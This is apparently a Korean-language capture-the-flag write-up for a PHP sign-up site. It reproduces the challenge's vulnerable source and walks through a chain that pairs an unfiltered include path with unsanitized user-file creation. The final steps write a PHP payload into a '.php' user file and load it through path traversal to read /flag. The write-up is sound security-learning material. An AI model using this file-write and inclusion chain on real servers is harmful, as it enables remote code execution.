# 개요
+ 대상 확인
서버에 접속하면
간단한 회원가입 페이지가
나타납니다.
+ Flag 확인
제공된 파일 중
Dockerfile 파일을 보면
flag 파일을
/flag 로 복사하는 내용이 있습니다.
따라서, 접속하는 사이트에서는
flag 파일은 /flag 에 위치하게 됩니다.
# 분석
문제 사이트와 함께 제공된
사이트의 코드를 분석합니다.
Exploit을 위한
주된 코드는
controller.lib.php 파일과
register.php 파일,
util.lib.php 파일이었습니다.
+ controller.lib.php 파일
우선, controller.lib.php 파일 내용입니다.
# controller.lib.php
<?php if(!defined('__MAIN__')) exit; ?>
<?php
class Controller {
private $board = '';
private $action = '';
function __construct($board, $action) {
$this->board = $board;
$this->action = $action;
if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
$this->board = 'main';
$this->action = 'index';
}
}
function process() {
$path = "{$this->board}/{$this->action}";
if(preg_match('/php|html/i', $path)){
alert('not invalid', 'back');
}
chdir('pages/');
if(!file_exists("{$path}.php")) $path = 'main/index';
include("{$path}.php");
}
}
?>
process() 함수의 내용을 보면,
$path 변수 내용에 .php를 붙여서
php 파일을 호출하여 실행하고 있습니다.
이곳을 주요 포인트로 하고 역으로 분석했습니다.
중간에 확장자를 우회해야할 것 같은 코드가 존재하지만,
결국 중요하진 않았습니다 ㅠㅠ
문제의 코드...
- if(!file_exists("{$path}.php")) $path = 'main/index';
분석을 이어나가면,
$path의 내용은 class의 지역 변수인
$board와 $action 변수를 합쳐서 생성되며,
$action 변수가 뒤에 위치합니다.
$path 초기화 코드
- $path = "{$this->board}/{$this->action}";
또한, $board와 $action 변수의 값은
웹 전체 index.php 파일에서
외부 입력으로 입력받고 있어,
경로 조작 취약점이 존재하게 됩니다.
# html/index.php
<?php
define('__MAIN__', true);
include('lib/controller.lib.php');
include('lib/util.lib.php');
$board = $_GET['b'] ? $_GET['b'] : 'main' ;
$action = $_GET['a'] ? $_GET['a'] : 'index';
$controller = new Controller($board, $action);
$controller->process();
?>
controller.lib.php 파일에서
$board 변수의 값은 정규표현식으로
필터링을 하지만,
$action 변수의 값은
필터링을 거치지 않아
취약점이 발생하게 됩니다.
$board 변수 필터링 코드
- if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
$this->board = 'main';
$this->action = 'index';
}
+ register.php 파일
앞서 언급한
controller.lib.php 파일에서
취약점이 발생하는 위치는
확인하였으나,
/flag 파일은
php 파일이 아니기 때문에
대신 읽어올 코드가 담긴
php 파일이 필요하게 됩니다.
이 파일에 대한 힌트는
register.php 파일과
util.lib.php 파일을 통해
얻을 수 있었습니다.
register.php 파일의 내용입니다.
따로 볼 내용은 없으며,
save_user_id 함수를 호출하는 부분이라
언급했습니다.
# register.php
<?php if(!defined('__MAIN__')) die('Access denied'); ?>
<?php
$id = $_POST['id'];
$pw = $_POST['pw'];
if(!$id || !$pw) alert('invalid input', 'back');
if(!is_valid_id($id)) alert('invalid id', 'back');
if(is_exists_user($id)){
alert('already joined', 'back');
}
save_user_id($id, $pw);
alert('welcome', '/');
?>
+ util.lib.php 파일
주된 기능들이 모여있는 파일입니다.
이 파일의
save_user_id 함수에서
입력된 id, pw 내용으로
파일 생성합니다.
# util.lib.php 파일 -> save_user_id($id, $pw) 함수
function save_user_id($id, $pw){
chdir('../');
file_put_contents("dbs/{$id}", serialize($pw));
}
별도의 필터링이 없기 때문에
파일 생성이 가능해지며
파일명은 입력받은 ID,
파일내용은 입력받은 PW를 직렬화하여
생성합니다.
참고로,
PHP의 serialize 함수를 통해
직렬화된 값은
다음과 같은 형태를
가집니다.
PHP -> serialize 함수 결과
- a:10:{s:3:"one";s:12:"C.m.A 하나";s:3:"two";s:9:"C.m.A 둘";s:5:"three";s:9:"C.m.A 셋";s:4:"four";s:9:"C.m.A 넷";s:4:"five";s:12:"C.m.A 다섯";s:3:"six";s:12:"C.m.A 여섯";s:5:"seven";s:12:"C.m.A 일곱";s:5:"eight";s:12:"C.m.A 여덜";s:4:"nine";s:12:"C.m.A 아홉";s:3:"ten";s:9:"C.m.A 열";}
# 풀이
앞서 코드를 분석한 내용으로
아래와 같이 Flag를 얻을 수 있습니다.
문제 풀이 순서:
1. 회원가입 시 ID, PW를 아래와 같이 입력
- ID: [임의의 값].php
(save_user_id 함수를 이용한 .php 파일 생성)
- PW: <?php echo file_get_contents("/flag"); ?>
(/flag 파일의 내용을 읽어오는 코드)
2. http://[대상 사이트]?a=../../dbs/[임의의 값] 으로 접속
- 생성된 Exploit 파일 호출 및 실행
- Flag 획득
+ Exploit 코드로 회원가입
Flag의 내용을
출력할 PHP 파일을
만들기 위해
Exploit 코드를 포함하여
아래와 같은 내용으로
회원가입 합니다.
회원가입 시 ID, PW를 아래와 같이 입력:
- ID: [임의의 값].php
(save_user_id 함수를 이용한 .php 파일 생성)
- PW: <?php echo file_get_contents("/flag"); ?>
(/flag 파일의 내용을 읽어오는 코드)
제공된 Dockerfile로
도커 이미지와 컨테이너를
생성하여 테스트하면
생성된 파일을
확인할 수 있습니다.
+ Exploit 코드 실행
필요한 파일이
생성되었으니,
앞에서 확인한 대로
a 파라미터에
생성된 파라미터를
실행하는 값을 포함하여
사이트에 접속하면
Flag를 획득할 수 있습니다.